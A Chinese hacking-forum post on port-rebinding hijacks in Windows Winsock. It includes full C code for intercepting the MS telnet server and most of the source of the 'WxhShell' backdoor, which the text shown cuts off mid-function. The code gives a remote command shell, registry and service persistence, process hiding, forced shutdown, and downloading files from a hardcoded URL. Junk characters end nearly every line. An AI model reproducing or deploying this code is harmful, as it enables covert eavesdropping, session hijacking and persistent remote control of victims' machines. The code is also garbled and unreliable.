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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :t#N.[=&#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \A'tV/YAd  
D$OUy}[2`.  
  saddr.sin_family = AF_INET; 8E:d!?<^&I  
{YoK63b$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q=+AN</  
\as^z!<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZY Ci&l  
p~!UE/V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fSL'+l3  
7yDWcm_y  
  这意味着什么?意味着可以进行如下的攻击: G$HXc$OY  
/GQN34RD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JXa5snh{h  
LaolAqU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 61"w>;d6  
#;WKuRv   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U<"@@``+N  
+LEU|#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ow!NH,'Hy  
2xEG s Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oTjsiXS  
aVXk8zuL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |@Mx? (  
=,4iMENm!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X":T>)J-  
I6B`G Im5  
  #include s;[OR  
  #include 0K *|B.O  
  #include 0qPbmLMK  
  #include    :Q@qR((&o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zZ11J0UI  
  int main() ^zs]cFN#%  
  { u}:p@j}Zv  
  WORD wVersionRequested; %0<-5&GE  
  DWORD ret; "dN4EA&QJ  
  WSADATA wsaData; ys#V_ysb  
  BOOL val; R3`h$`G  
  SOCKADDR_IN saddr; *=p[;V  
  SOCKADDR_IN scaddr; *sPG,6>  
  int err; j0F'I*Z3  
  SOCKET s; u#c3T'E  
  SOCKET sc; jLy3c@Dp  
  int caddsize; (Q/Kp*a  
  HANDLE mt; $0OWPC1  
  DWORD tid;   mTsl"A>  
  wVersionRequested = MAKEWORD( 2, 2 ); {@7{!I|eD  
  err = WSAStartup( wVersionRequested, &wsaData ); s,*kWy"jp  
  if ( err != 0 ) { 0kp#+&)+  
  printf("error!WSAStartup failed!\n"); Q-qM"8I  
  return -1; .e,(}_[[<  
  } eInx\/  
  saddr.sin_family = AF_INET; cp&- 6 w+  
   2 u{"R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [!k#au+#c  
4-wCk=I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l^$8;$Rq  
  saddr.sin_port = htons(23); PI5a 'k0F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7 z#Xf  
  { Zc<fopih  
  printf("error!socket failed!\n"); 0<{zW%w  
  return -1; a0]n>C`~  
  } 7Y?=ijXXx\  
  val = TRUE; 1l(_SD;90t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zv%9?:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  >>nt3q  
  { e7cqm*Qi  
  printf("error!setsockopt failed!\n"); P0 va=H  
  return -1; _?+gfi+  
  } 4 )U,A~ !  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ycr\vn t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =mq02C~y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7P!Hryy  
Uo7V)I;o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M2.Pf s  
  { D@]*{WO  
  ret=GetLastError(); {r$n $  
  printf("error!bind failed!\n"); fF"\$Ny  
  return -1; j%V95M% $  
  } Y5Ub[o  
  listen(s,2); j1yW{  
  while(1) )l|/lj  
  { Ca?:x tt  
  caddsize = sizeof(scaddr); W_C#a'$  
  //接受连接请求 f-O`Pp FQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E`DsRR <  
  if(sc!=INVALID_SOCKET) "/O`#Do/  
  { h)MU^aP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X;hV+| Bo  
  if(mt==NULL) )<vU F]e~  
  { <![]=~z $  
  printf("Thread Creat Failed!\n"); k70o=}  
  break; e{~3&  
  } _Kw<4 $0<p  
  } B}(+\Q$I  
  CloseHandle(mt); '4L0=G:A<q  
  } Rqk;!N  
  closesocket(s); S S/9fT"[  
  WSACleanup(); n&51_.@Q  
  return 0; yd-r7iq  
  }   +a{P,fRl@  
  DWORD WINAPI ClientThread(LPVOID lpParam) O7MFKAaD  
  { M u>G gQSZ  
  SOCKET ss = (SOCKET)lpParam; y7s:Buyc  
  SOCKET sc; xux j  
  unsigned char buf[4096]; Do3g^RD#  
  SOCKADDR_IN saddr; ^x:%_yGY  
  long num; }qa8o  
  DWORD val; f*{~N!g  
  DWORD ret; RkrZncBgV<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z&3in  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cr&sI=i  
  saddr.sin_family = AF_INET; ex- 0@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bw@"MF{  
  saddr.sin_port = htons(23); /hojm6MM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >sUavvJ~x  
  { " wB~*,Ny  
  printf("error!socket failed!\n"); I1IuvH6  
  return -1; jmDQKqEc|l  
  } N<e=!LV  
  val = 100; c']3N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z^KMYvH g  
  { zB8 @Wl  
  ret = GetLastError(); " ^t3VjN  
  return -1; aBH!K   
  } &at^~ o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jlf.~ vt  
  { E>bK-jG  
  ret = GetLastError(); s bxOnw P\  
  return -1; VSW:h  
  } U X?EOrfJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Jj_ t0"  
  { L=ala1{O  
  printf("error!socket connect failed!\n"); vp"b_x1-  
  closesocket(sc); wNHvYu lI  
  closesocket(ss); epcBr_}  
  return -1; wVSk.OOB  
  } KfSI6 Y _  
  while(1) ,-C%+SC  
  { YH0=Y mU#X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wsz-#kc\[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E3):8>R;1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N3_rqRd^  
  num = recv(ss,buf,4096,0); ]dx6E6A,  
  if(num>0) yJ\K\\]  
  send(sc,buf,num,0); *?'^R c  
  else if(num==0) V<ZohB?y  
  break; !`3q9RT3."  
  num = recv(sc,buf,4096,0); XS L*e  
  if(num>0) 9]{(~=D7  
  send(ss,buf,num,0); z NF.nS}:  
  else if(num==0) ;^Q - 1  
  break; doIcO,Q  
  } oj|\NlR  
  closesocket(ss); qmWK8}F.cE  
  closesocket(sc); 6`ZHFem  
  return 0 ; vZDM}u  
  } 0/1Ay{ns  
YA";&|V  
|>/T*zk<  
========================================================== *Zj2*e{Z9U  
:sf(=Y.qA  
下边附上一个代码,,WXhSHELL 9^DXw!  
^#-i%V%  
========================================================== B4hT(;k  
b3>`%?A  
#include "stdafx.h" |f :1Br  
4x`.nql  
#include <stdio.h> 7K 8tz}  
#include <string.h> "sM 3NY  
#include <windows.h> R-L*N$@!  
#include <winsock2.h> Ju0W  
#include <winsvc.h> F8c^M</  
#include <urlmon.h> yX-h|Cr"  
s+EJXox w  
#pragma comment (lib, "Ws2_32.lib") H pZD^h?L  
#pragma comment (lib, "urlmon.lib") MJ=(rp=YU9  
]M:=\h,t>  
#define MAX_USER   100 // 最大客户端连接数 jD`p;#~8  
#define BUF_SOCK   200 // sock buffer kp{q5J6/  
#define KEY_BUFF   255 // 输入 buffer )A@i2I  
Lrr1) h  
#define REBOOT     0   // 重启 $Ur-Q d  
#define SHUTDOWN   1   // 关机 *!~jHy8F  
O&]P u5  
#define DEF_PORT   5000 // 监听端口 ,?'":T1[  
4axc05  
#define REG_LEN     16   // 注册表键长度 ceW,A`J  
#define SVC_LEN     80   // NT服务名长度 F2B9Q_>P  
g RX`61  
// 从dll定义API 1x"S^j   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I6q]bQ="  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (jV_L 1D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yv!r>\#0S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e\9H'$1\  
UBgheu  
// wxhshell配置信息 Xy0KZ !  
struct WSCFG { L.%N   
  int ws_port;         // 监听端口 $aY*1UVq  
  char ws_passstr[REG_LEN]; // 口令 & V*_\  
  int ws_autoins;       // 安装标记, 1=yes 0=no L\CufAN  
  char ws_regname[REG_LEN]; // 注册表键名 myR}~Cj;q  
  char ws_svcname[REG_LEN]; // 服务名 _o'3v=5T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yV'<l .N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hC nqe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i*T>, z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `8.Oc;*zu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2[O\"a%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |uT &M`7\{  
+2ZBj6 e9  
}; Zx1I&K\Cd  
(_9cL,v  
// default Wxhshell configuration q=_&izmE'7  
struct WSCFG wscfg={DEF_PORT, B.J_(V+  
    "xuhuanlingzhe", lT<4c5 %  
    1, 7%%FYHMO:  
    "Wxhshell", "K!9^!4&  
    "Wxhshell", Hq>"rrVhx  
            "WxhShell Service", FL,av>mV  
    "Wrsky Windows CmdShell Service", |t1ij'N  
    "Please Input Your Password: ", S7I8BS[*v  
  1, :k-(%E](  
  "http://www.wrsky.com/wxhshell.exe", VSxls  
  "Wxhshell.exe" U1.w%b,  
    }; K;n5[o&c  
>z,SN  
// 消息定义模块 A#WvN>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SEL7,8 Hm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bnm3 cR:h"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lrE|>R  
char *msg_ws_ext="\n\rExit."; gvoo1 Sa  
char *msg_ws_end="\n\rQuit."; ;&A%"8o  
char *msg_ws_boot="\n\rReboot..."; kOQq+_Y  
char *msg_ws_poff="\n\rShutdown..."; "F$0NYb]I  
char *msg_ws_down="\n\rSave to "; tW=,o&C=  
+Vf39}8  
char *msg_ws_err="\n\rErr!"; _:0)uR LS  
char *msg_ws_ok="\n\rOK!"; a2z1/Nh  
0zL7$Q#c  
char ExeFile[MAX_PATH]; ",pN.<F9O  
int nUser = 0; B(omD3jzN  
HANDLE handles[MAX_USER]; ;'|Mt)\  
int OsIsNt; ff1Em.  
)(aj  
SERVICE_STATUS       serviceStatus; Zl:Z31  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K<3$>/|  
+RuPfw{z  
// 函数声明 |, Lp1  
int Install(void); a9w1Z4  
int Uninstall(void); W,g0n=2V  
int DownloadFile(char *sURL, SOCKET wsh); HZG<aY="  
int Boot(int flag); .t7mTpi  
void HideProc(void); #U=}Pv~wM  
int GetOsVer(void); =$^<@-;  
int Wxhshell(SOCKET wsl); LHS^[}x^1  
void TalkWithClient(void *cs); 6{qI  
int CmdShell(SOCKET sock); bM9:h  
int StartFromService(void); ?puZqVu5  
int StartWxhshell(LPSTR lpCmdLine); + pq/:h  
2f=7`1RCD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -%h0`hOG{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 60A E~  
UP*\p79oO  
// 数据结构和表定义 E2 5:e EXa  
SERVICE_TABLE_ENTRY DispatchTable[] = RjOQSy3  
{ On^jHqLaE  
{wscfg.ws_svcname, NTServiceMain}, (ohza<X;6  
{NULL, NULL} >`@c9 m  
}; tR;? o,T  
+( *;F4>  
// 自我安装 itp$c|{  
int Install(void) :Hn*|+'  
{ XQH wu  
  char svExeFile[MAX_PATH]; ,%L>TD'48s  
  HKEY key; <gdKuoY  
  strcpy(svExeFile,ExeFile); N@z+h  
EJbFo682  
// 如果是win9x系统,修改注册表设为自启动 Sv E|"  
if(!OsIsNt) { T9c=As_EM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n1Y3b~E?E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L&i_  
  RegCloseKey(key); t]j4PNzn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ k`^Z5tN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ke_ & dgsq  
  RegCloseKey(key); EK-Qa<[|  
  return 0; W/U_:^[-  
    } +Y:L4`  
  } [q MFLY$  
} :*{>=BD  
else { o`!7 ~n  
Tt0:rQ.  
// 如果是NT以上系统,安装为系统服务 |&>!"27;w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); * MJl(  
if (schSCManager!=0) @k~_ w#  
{ frYPC Irj  
  SC_HANDLE schService = CreateService pxF<L\L?:  
  ( }-e  
  schSCManager, ~[|zf*ZISG  
  wscfg.ws_svcname, jv"^_1  
  wscfg.ws_svcdisp, Rilr)$  
  SERVICE_ALL_ACCESS, zeXMi:X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~4{E0om@  
  SERVICE_AUTO_START, LGOeBEAMV^  
  SERVICE_ERROR_NORMAL, 7= o2$  
  svExeFile, ddR_+B*H  
  NULL, s 4Mi9h_  
  NULL, 05|,-S  
  NULL, =h083|y>  
  NULL, 'pUJlPGx  
  NULL aWLeyXsAu  
  ); WF6'mg^^?  
  if (schService!=0) sF/X#GG-  
  { GisI/Ir[  
  CloseServiceHandle(schService); /R_*u4}iD  
  CloseServiceHandle(schSCManager); s1[_Pk;!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bEXm@-ou  
  strcat(svExeFile,wscfg.ws_svcname); cI5*`LML1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #&@qmps(T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :\0q\2e[<  
  RegCloseKey(key); Se o3a6o  
  return 0; +3c!.] o;  
    } !`BK%m\8  
  } ~N i#xa  
  CloseServiceHandle(schSCManager); >gt_C'  
} >};6>)0  
} ?|i6]y=D  
u#+p6%?k  
return 1; I82?sQ7  
} "4{_amgm&<  
X9:(}=E V  
// 自我卸载 &wZ ggp  
int Uninstall(void) xLE+"6;W  
{ U`j[Ni}"  
  HKEY key; cU y,q]PO  
[_3Rhp:  
if(!OsIsNt) { >!j= {hK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W~1/vJ.*l  
  RegDeleteValue(key,wscfg.ws_regname); m_%1I J  
  RegCloseKey(key); n 0X_m@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u@`)u#  
  RegDeleteValue(key,wscfg.ws_regname); cx]O#b6B.  
  RegCloseKey(key); ZKG S?z  
  return 0; $z7[RLu0!  
  } XFeeNcqF  
} 2p(M`@  
} CqXD z  
else { -DO*,Eecv  
w"CcWng1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lR!Sdd} -  
if (schSCManager!=0) (% fl  
{ CfMq?.4%E}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Nk-biD/J  
  if (schService!=0) mx#H+:}&r  
  { qAH@)}  
  if(DeleteService(schService)!=0) { \WM*2&  
  CloseServiceHandle(schService); #5?Q{ORN o  
  CloseServiceHandle(schSCManager); ;Yrg4/Ipa  
  return 0; o6pnTu  
  } TQ? D*&  
  CloseServiceHandle(schService); H=vrF-#  
  } :E|HP#iwu  
  CloseServiceHandle(schSCManager); 1i}Rc:  
} mT.p-C  
} O&# bC  
<v?9:}  
return 1; >4:W:;R  
} t)o #!)|  
(/&IBd-  
// 从指定url下载文件 JM{S49Lx  
int DownloadFile(char *sURL, SOCKET wsh) '676\2.  
{ %Fc, $ =  
  HRESULT hr; hFw\uETu  
char seps[]= "/"; _nR8L`l*z  
char *token; TEZ^Ia  
char *file; o~ .[sn5l-  
char myURL[MAX_PATH]; PXGS5,  
char myFILE[MAX_PATH]; ]McLace&  
]1 #&J(  
strcpy(myURL,sURL); gmfux b/  
  token=strtok(myURL,seps); \s2hep  
  while(token!=NULL) -ob_]CKtJ~  
  { 9l+`O0.@  
    file=token; QD LXfl/  
  token=strtok(NULL,seps); 9&A-o  
  } %zHNX4  
^4Ra$<  
GetCurrentDirectory(MAX_PATH,myFILE); U,C L*qTF  
strcat(myFILE, "\\"); ?)#dP8n  
strcat(myFILE, file); b 2n.v.$G  
  send(wsh,myFILE,strlen(myFILE),0); zCD?5*7  
send(wsh,"...",3,0); ~UjFL~K}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 09"C&X~  
  if(hr==S_OK) wVBY^TE  
return 0; w>T1D  
else eI?<*  
return 1; ^*C+^l&J!  
sXI_!)H  
} 65VnH=  
*LeFI%  
// 系统电源模块 3Ak,M-Jp  
int Boot(int flag) ~V?O%1)k?\  
{ 9Ot;R?>(  
  HANDLE hToken; > _U)=q  
  TOKEN_PRIVILEGES tkp; GzK{. xf  
aG?ko*A;  
  if(OsIsNt) { SoODss~X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i^(_Gk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;C%40;Q  
    tkp.PrivilegeCount = 1; 59";{"sw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4KE"r F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SU"-%}~O#,  
if(flag==REBOOT) { CGIcuHp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $]4^ENkI  
  return 0; ll {jE  
} e#K =SV!H  
else { H,qIHQW#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p5^,3&  
  return 0; h&J6  
} n6; jIf|  
  } i TY4X:x  
  else { SF61rm  
if(flag==REBOOT) { X 'Q$v~/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W-%oj.BMA  
  return 0; ^~0Mw;n&  
} CU 2;m\Hc  
else { w!)B\l^+c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6\)61o_1|  
  return 0; zF%CFqQ  
} x^}kG[s  
} i]*W t8~!  
/hf}f=7kH  
return 1; ,v:m  
} ,FX;-nP%  
DF'-dh</*  
// win9x进程隐藏模块 $b\`N2J-_  
void HideProc(void) S pDVD  
{ V'~] b~R  
Z{`;Ys:zk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mw@T!)(  
  if ( hKernel != NULL ) R-J\c+C>W  
  { Nh~ Hh(   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "<0BCJJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -;'8#"{`^  
    FreeLibrary(hKernel); QJp _>K  
  } .pQH>;k]K  
?:Y{c#w>  
return; =?T\zLN=  
} ?"PUw3V3lB  
8 s!0Z1Roc  
// 获取操作系统版本 "aK3 ylz;  
int GetOsVer(void) DDn@M|*$  
{ B2VC:TG>  
  OSVERSIONINFO winfo; dlN(_6>b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a ^<W ?Z  
  GetVersionEx(&winfo); =:[Jz1M5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WV!qG6\W  
  return 1; Rj9z '?a9  
  else )I{41/_YA  
  return 0; -_.)~ )P  
} *PE 1)bF  
X>EwJ"q#  
// 客户端句柄模块 Jt"0|+g|  
int Wxhshell(SOCKET wsl) !>-cMI6E  
{ M~w =ZJ@  
  SOCKET wsh; v0|A N  
  struct sockaddr_in client; fM?HZKo  
  DWORD myID; 0/S|P1!b  
t>f<4~%MJ  
  while(nUser<MAX_USER) I\PhgFt@O  
{ M4pE wD  
  int nSize=sizeof(client); rOw""mE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :y%%Vx~  
  if(wsh==INVALID_SOCKET) return 1; (;P)oB"`C  
0G1?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6#fl1GdH-  
if(handles[nUser]==0) Hv(0<k6oH  
  closesocket(wsh); ?`Qw=8]`  
else 5b3Wt7  
  nUser++; dON 4r2-yC  
  } 5j1}?0v_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bvzl* &?  
LU~U>  
  return 0; u_s  
} v'Gqdd-#)  
9kL'"0c  
// 关闭 socket Kvv&# eO\  
void CloseIt(SOCKET wsh) LGKkT?fcSC  
{ FOgF'!K  
closesocket(wsh); }UZ$<81=  
nUser--; 6Lz{/l8  
ExitThread(0); /4+M0Pl  
} <splLZW3k  
JLm0[1Lzd  
// 客户端请求句柄 OEy'8O$  
void TalkWithClient(void *cs) lBh|+K N  
{ 1@RctI_}  
S9}P 5;u  
  SOCKET wsh=(SOCKET)cs; g4!zH};n  
  char pwd[SVC_LEN]; _,_>B8  
  char cmd[KEY_BUFF]; o0&jel1a  
char chr[1]; "2(lgxhj  
int i,j; ym:^Y-^iV  
k1i*1Tc  
  while (nUser < MAX_USER) { pbKDtqSn z  
Teu4;  
if(wscfg.ws_passstr) { |[(4h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  =\`g<0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0*YLFqN  
  //ZeroMemory(pwd,KEY_BUFF); ?Q;8D@   
      i=0; N_Cu%HP  
  while(i<SVC_LEN) { {uh]b (}s)  
b+yoD  
  // 设置超时 J/8aDr (+  
  fd_set FdRead; ViQxO UE  
  struct timeval TimeOut; 7lY&/-V  
  FD_ZERO(&FdRead); Q7UFF  
  FD_SET(wsh,&FdRead); ."l@aE=|  
  TimeOut.tv_sec=8; Ox.&tW%@  
  TimeOut.tv_usec=0; [[P?T^KT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yZ)GP!cM4c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `YAqR?Xj_<  
%50}oD@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j!GJ$yd=-6  
  pwd=chr[0]; a{^[<  
  if(chr[0]==0xd || chr[0]==0xa) { > n Y<J  
  pwd=0; 9"1 0:\U  
  break; eG9tn{  
  } KL,=Z&.<=  
  i++; 3&_O\nD  
    } db`xlvrCY  
BRYhL|d~.  
  // 如果是非法用户,关闭 socket 5_ -YF~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5 :6^533]  
} H`C DfTy  
Fx 2 KRxk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CdlE"Ye  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "{105&c\  
~Tq `c  
while(1) { 87c7p=/0`  
6|wi Zw  
  ZeroMemory(cmd,KEY_BUFF); /1ooOq]  
>'wl)j$  
      // 自动支持客户端 telnet标准   trnjOm  
  j=0; 8<t6_* f  
  while(j<KEY_BUFF) { Pe8W Br;`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z kQV$n{  
  cmd[j]=chr[0]; R}c,ahd  
  if(chr[0]==0xa || chr[0]==0xd) { DvHcT] l>5  
  cmd[j]=0; ^;@q^b)ZP  
  break; m]} E0  
  } Or= [2@Wg  
  j++; \~d|MP}"F:  
    } @'j=oTT  
` `j..v,  
  // 下载文件 D% } ?l  
  if(strstr(cmd,"http://")) { s$css{(ek  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,@jRe&6  
  if(DownloadFile(cmd,wsh)) Kl GPu GL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <8yzBp4gZ  
  else rlk0t159  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); no`c[XY  
  } ty[bIaQi  
  else { asb-syqU  
*,5V;7OR  
    switch(cmd[0]) { <uDEDb1|l  
  w'z ?1M(*  
  // 帮助 @G[P|^B  
  case '?': { 0b+OB pqN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cP%mkh_ri  
    break; 2ikY.Xi6  
  } Ks . m5R  
  // 安装 u"XqWLTV  
  case 'i': { xr+K: bw  
    if(Install()) |E-/b6G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vd~{SS 2>  
    else Hq[d!qc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )kR~|Yn<-  
    break; /KjRB_5~q}  
    } )QEvV:\  
  // 卸载 JUXIE y^  
  case 'r': { pXf@Y}mH  
    if(Uninstall()) uN20sD}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q1 ?O~ao  
    else U.is:&]E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y}*rRm.:  
    break; 2.CjjI  
    } Ex9%i9H  
  // 显示 wxhshell 所在路径 sE@t$'=  
  case 'p': { Xd/gvg{??0  
    char svExeFile[MAX_PATH]; \GS]jhEtn  
    strcpy(svExeFile,"\n\r"); (G $nN*rlu  
      strcat(svExeFile,ExeFile); ^IGutZov  
        send(wsh,svExeFile,strlen(svExeFile),0); cZI )lX  
    break; {E1g+><  
    } l{F^"_U  
  // 重启 WV}<6r$e  
  case 'b': { RpPbjz~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .| CcUmx  
    if(Boot(REBOOT)) Yn4c6K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < .&t'W  
    else { [` ~YPUR*  
    closesocket(wsh); sG`||Kb;n  
    ExitThread(0); 2-5AKm@K  
    } fH~InDT^  
    break; 3&'ll51t  
    } l G12Su/  
  // 关机 /3->TS  
  case 'd': { _yY(&(]#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XlIRedZ{  
